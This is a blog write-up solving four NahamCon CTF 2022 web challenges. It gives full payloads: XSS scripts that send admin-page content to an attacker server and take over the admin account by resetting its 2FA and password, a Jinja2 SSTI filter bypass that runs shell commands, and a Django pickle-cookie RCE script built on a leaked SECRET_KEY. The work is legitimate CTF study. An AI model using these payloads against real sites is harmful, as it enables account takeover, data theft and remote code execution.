きなこもち。

(´・ω・`)

NahamCon CTF 2022 wirteup【Web Challenges ONLY】

In this writeup, I will write down only HARD web challenges in NahamCon CTF 2022 (sorry, I'm very lazy....)

Hacker Ts【SSRF via Server-Side XSS

TLDR: We can perform Server-Side XSS and this leads to disclosure of Admin page content via SSRF

Author: @congon4tor#2334 We all love our hacker t-shirts. Make your own custom ones.

Hacker Ts challenge

basic information

  • we can reflect "Command" string input on T-shirt
  • There is "Admin" page but we cannot access(403 Forbidden)

exploit

If you input <s>HTML injection</s>, then you'll notice your input is rendered as raw HTML like this:

<s> works!

And <script>document.write(1)</script> also works correctly(1 will be reflected).

We can perform "Server-Side XSS".

Payload:

<script>
x=new XMLHttpRequest;
x.onload=function(){var i = new Image(1,1); i.src = "https://<myserver>/?c=" + btoa(this.responseText)};
x.open("GET","http://localhost:5000/admin");x.send();
</script>

This results in:

GET /?c=PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPgogICAgPG1ldGEKICAgICAgbmFtZT0idmlld3BvcnQiCiAgICAgIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIgogICAgLz4KCiAgICA8bGluawogICAgICByZWw9InN0eWxlc2hlZXQiCiAgICAgIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMC4yL2Rpc3QvY3NzL2Jvb3RzdHJhcC5taW4uY3NzIgogICAgICBjcm9zc29yaWdpbj0iYW5vbnltb3VzIgogICAgLz4KCiAgICA8bGluawogICAgICBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PVZUMzIzJmRpc3BsYXk9c3dhcCIKICAgICAgcmVsPSJzdHlsZXNoZWV0IgogICAgLz4KCiAgICA8dGl0bGU+SGFja2VyIFRzPC90aXRsZT4KICA8L2hlYWQ+CgogIDxib2R5PgogICAgPCEtLSBOYXZpZ2F0aW9uIC0tPgogICAgPG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbWQgbmF2YmFyLWRhcmsgYmctZGFyayI+CiAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgPGEgY2xhc3M9Im5hdmJhci1icmFuZCIgaHJlZj0iLyIKICAgICAgICAgID48c3BhbiBjbGFzcz0iIiBzdHlsZT0iZm9udC1mYW1pbHk6ICdWVDMyMyc7IGZvbnQtc2l6ZTogNDBweCIKICAgICAgICAgICAgPkhhY2tlciBUczwvc3BhbgogICAgICAgICAgPjwvYQogICAgICAgID4KICAgICAgPC9kaXY+CiAgICA8L25hdj4KCiAgICA8IS0tIFBhZ2UgQ29udGVudCAtLT4KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3MgbXQtNSI+CiAgICAgICAgSGkgYWRtaW4hIGhlcmUgaXMgeW91ciBmbGFnOgogICAgICAgIDxzdHJvbmc+ZmxhZ3s0NjFlMjQ1MjA4OGViMzk3YjYxMzhhNTkzNGFmNjIzMX08L3N0cm9uZz4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDwhLS0gLy5jb250YWluZXIgLS0+CiAgPC9ib2R5PgoKICA8IS0tIEJvb3RzdHJhcCBKUyAtLT4KICA8c2NyaXB0CiAgICBzcmM9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMC4yL2Rpc3QvanMvYm9vdHN0cmFwLmJ1bmRsZS5taW4uanMiCiAgICBjcm9zc29yaWdpbj0iYW5vbnltb3VzIgogID48L3NjcmlwdD4KPC9odG1sPg==

This may be base64-encoded HTML content on /admin endpoint, but cannot decode correctly so I used Chrome devtool.

atob() works

Flag: flag{461e2452088eb397b6138a5934af6231}

Two For One【Account Takeover via Blind XSS

TLDR: There is a Blind XSS vulnerability in "Feedback" functionality and we can make admin user reset their password. This leads to Account Takeover and finally we can read admin secret.

Author: @congon4tor#2334 Need to keep things secure? Try out our safe, the most secure in the world!

Two For One challenge

basic information

  • probably Flask app(No backend source code)
  • Every action like login, signup, reading secret requires 2FA OTP
  • our goal in this challenge is to read admin secret as admin user

exploit

Step 1: Detect Blind XSS

In setting page, I notice there is a "Feedback" form and my malicious feedback input is rendered as HTML on admin side.

First, I input img tag payload:<img src="https://<myserver>/?hello-from-img-tag">

and my web server caught its response:

"GET /?hello-from-img-tag HTTP/1.1" 200 0 "http://localhost:5000/feedback/1" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.113 Safari/537.36"

Oh HeadlessChrome is working! maybe adminbot.

Next, I checked if XSS payload works or not. <script>location.href = "https://<myserver>/?hello-from-js-tag"</script>

The result:

"GET /?hello-from-js-tag HTTP/1.1" 200 0 "http://localhost:5000/feedback/2" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.113 Safari/537.36"

OK, there is a Blind XSS vulnerability and we can use it.

Step 2: Use XSS to reset admin OTP

After a while, I noticed this Blind XSS can be used to reset admin(HeadlessChrome) OTP.

Payload:

<script>
setTimeout(reset2fa, 5000);

function reset2fa() {
    fetch("/reset2fa", {
        method: "POST",
        headers: {
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        }
    }).then(res => {
        res.json().then((json) => {
            var i = new Image(1, 1);
            i.src = "https://<myserver>/?otp=" + btoa(json.url);
        });
    })
};
</script>

My nginx server caught that XSS result correctly.
GET /?otp=b3RwYXV0aDovL3RvdHAvRm9ydCUyMEtub3g6YWRtaW4/c2VjcmV0PTRMRDVIUUE0SFZKR1FQRFYmaXNzdWVyPUZvcnQlMjBLbm94

(´+ω+`)< echo b3RwYXV0aDovL3RvdHAvRm9ydCUyMEtub3g6YWRtaW4/c2VjcmV0PTRMRDVIUUE0SFZKR1FQRFYmaXNzdWVyPUZvcnQlMjBLbm94 | base64 -d
↓
otpauth://totp/Fort%20Knox:admin?secret=4LD5HQA4HVJGQPDV&issuer=Fort%20Knox

If you need a QR code for OTP, this site is useful→ 2FA QR Code Generator

OK, now we get admin OTP but still cannot read admin secret because "Show secret" looks separated by user_id in user session. So next we have to logged in as admin!!

But how? Blind XSS again!!

I browsed HTML source code and noticed that Reset Password API endpoint can be used to reset admin password because this endpoint works when we provide "password", "password_confirmation" and... yes, OTP number!

Payload:

<script>
setTimeout(reset_password, 5000);

function reset_password() {
    data = {
      "otp": "<admin OTP>",  // change this
      "password": "hoge",
      "password2": "hoge"
    }

    fetch("/reset_password", {
      method: "POST",
      headers: {
        'Accept': 'application/json',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify(data)
    }).then(res => {
        var i = new Image(1, 1);
        i.src = "https://<myserver>/?message=password_change_done";
    });
  };
</script>

This payload will update admin password with valid OTP, and all we have to do now is just log in as admin😁

logged in as admin

Flag: flag{96710ea6be916326f96de003c1cc97cb}

This challenge is really fantastic, respect to the challenge author congon4tor!

Deafcon【RCE via Jinja2 SSTI】

TLDR: The Flask app seems to have a perfect filter against SSTI, but there is one mistake and this allows us to do RCE.

Author: @congon4tor#2334 Deafcon 2022 is finally here! Make sure you don't miss it.

Deafcon challenge

basic information

  • Flask app(important)
  • we can input username and email form that will be reflected on PDF
    • username input is filtered very strictly (only [a-zA-Z0-9_] chars)
    • email input is filtered in 2 different ways, RFC5322-compliant and no parenthese

exploit

Step 1: Identify "where the vulnerable point is"

First of all, I gave up testing username form because it doesn't seem vulnerable.

Next, according to this stack overflow question, I learned that email format is more flexible than I expected so this can be useful to inject malicious letters(XSS, SSRF, SSTI...) stackoverflow.com

Then I quickly realized that we can perform Jinja2 SSTI by this payload:

"{{7*7}}"@aaa.com

49

"Aha!! it's a very, very easy challenge!!"... this expectation totally went wrong...😅

Step 2: How to bypass parentheses filter😭😭😭

In previous step, we know that the attack vector is SSTI and of course I tried RCE via SSTI.

I googled and picked up some payload like below:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

No parentheses, do you understand?

Oh there is parentheses() filter!!

I spent about 10 hours on finding bypass technique of this restriction, but my conclusion is "In python3, we MUST use parentheses to call functions, no exception".

This means "We cannot use like os.system('ls') things...

All my attempts to bypass this filter:

  • Double(Triple) URL encoding
  • HTML encoding
  • Unicode
  • request.args.param
  • {%.set payload=request.args.param %}{{ payload }}

I was almost crazy and tried another attack like SSRF via link tag, Server-Side XSS but no luck😭

Step 3: Use full-width parentheses to bypass filter

I almost gave up but suddenly came up with one idea.

I remembered this hackerone report:

hackerone.com

In this report, the researcher used full-width <, means to bypass filter.

After normalization, full-width letters become half-width in this case.

how about this challenge? Both of parentheses letters have full-width version, and .

OK, no matter how unlikely it is, but let's give a try😅😅😅

full-width parentheses

Oh my gosh, it works correctly🤣🤣🤣

still cannot believe...

What happens?

If you put "full-width parentheses is normalized()"@aaa.com, then you can see full-width parentheses pass the filter and then finally become half-width by normalization like this:

normalization is miracle

Final payload:

  • "{{ self._TemplateReferencecontext.cycler.init.globals__.os.popen('cat flag.txt').read()}}"@aaa.com

😅

Flag: flag{001a305ac5ab4b4ea995e5719ab10104}"

Poller【RCE via Django Pickle insecure deserialization with credential leak】

TLDR: The developer leaks Django SECRET_KEY on his public repository(.env) and Django app uses Pickle, famous for insecure deserialization, so it leads to RCE

Author: @congon4tor#2334 Have your say! Poller is the place where all the important infosec questions are asked.

Poller challenge

basic information

exploit

Step 1: Get SECRET_KEY in .env from public repository

<!-- https://github.com/congon4tor/poller --> is in challenge app so I quickly cloned this repository.

From git commit history, we can see:

  • The developer(challenge author congon4tor) pushed default Django SECRET_KEY but seems to fix it in this commit.

github.com

But! He pushed .env file after that fix and removed, but seems not to revoke it!

SECRET_KEY disclosure

Step 2: Craft Pickle RCE payload with SECRET_KEY

OK, we get SECRET_KEY and what's the next?

I quickly googled what to do with Django SECRET_KEY and I found this CTF writeup:

chiko360.medium.com

According to this writeup,

After spending some time googling for ways to exploit the secret key, I found out that this app is using cookie-based sessions with personalized PickleSerializer

Back to poller repository, the developer also modified Django app to use django.contrib.sessions.serializers.PickleSerializer

and we have SECRET_KEY to do same thing, game is over.

PoC:

import django.core.signing
from pyspark.serializers import PickleSerializer
import builtins

SECRET_KEY = "77m6p#v&(wk_s2+n5na-bqe!m)^zu)9typ#0c&@qd%8o6!" # from .env
payload = 'getattr(__import__("os"), "system")("echo <base64 encoded payload> | sh")' # change this


class PickleRce(object):
    def __reduce__(self):
        return (builtins.eval, (payload,))


cookie = PickleRce()
signed_cookie = django.core.signing.dumps(cookie, key=SECRET_KEY, serializer=PickleSerializer,
                                          salt='django.contrib.sessions.backends.signed_cookies', compress=True)
print(signed_cookie)

All we need is just set signed_cookie and send it to poller server.

I first checked if this PoC works or not by executing sleep command payload = 'getattr(__import__("os"), "system")("sleep 30")'

And the response from poller app was delayed(curl <myserver> too)

Finally I established a reverse shell connection and got a flag.

🎉

Flag: flag{a6b902e045b669148b5e92f771a68d39}

Results

Comment

  • It's been about 4 months since I participated in CTF last time. I decide to join NahamCon CTF whenever it holds so I was afraid that my CTF ability might have been down, but the result is surprising. I proved what I've been doing is right.

  • Actually the easiest challenge for me is poller because I just read past CTF writeup and applied it😅

    • Deafcon is tooooo tough challenge... I literally read almost all of SSTI article or CTF writeups😫
  • Thank you for this great experience, NahamCon CTF organizers!!